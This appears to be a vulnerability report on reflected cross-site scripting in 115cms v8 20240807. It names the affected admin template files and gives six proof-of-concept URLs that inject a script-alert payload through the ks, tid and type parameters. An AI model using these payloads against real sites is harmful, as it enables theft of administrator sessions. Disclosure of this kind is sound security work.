Gửi #442037: 贵州觅新科技有限公司 115cms v8 20240807 Cross Site Scripting

Summary
115cms v8 version 20240807 is affected by multiple reflected Cross-Site Scripting (XSS) vulnerabilities.
These vulnerabilities occur due to insufficient input validation and sanitation, allowing attackers to inject malicious scripts into web pages that are then executed in the browsers of other users.

Details
This is the affected template file:
/app/admin/view/web_user.html
/app/admin/view/web_file.html
/app/admin/view/web_set.html
/app/admin/view/web_useradmin.html
/app/admin/view/web_appurladd.html
/app/setpage/view/admin/pageAE.html
The vulnerabilities exist due to the improper handling of the ks and tid parameters. These parameters are directly concatenated into the HTML output without proper sanitization, allowing an attacker to inject arbitrary JavaScript code.

POC
For each of the identified endpoints, an attacker can exploit the vulnerability by injecting a malicious script via the respective parameter. Below are the URLs with crafted payloads that demonstrate the reflected XSS:
http://target-ip/index.php/admin/web/user.html?ks=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://target-ip/index.php/admin/web/file.html?ks=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://target-ip/index.php/admin/web/set.html?type=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://target-ip/index.php/admin/web/useradmin.html?ks=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://target-ip/index.php/admin/web/appurladd.html?tid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
http://target-ip/index.php/setpage/admin/pageAE.html?tid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

Impact
If a administrator accesses the malicious url, the cookie may be obtained by an attacker.
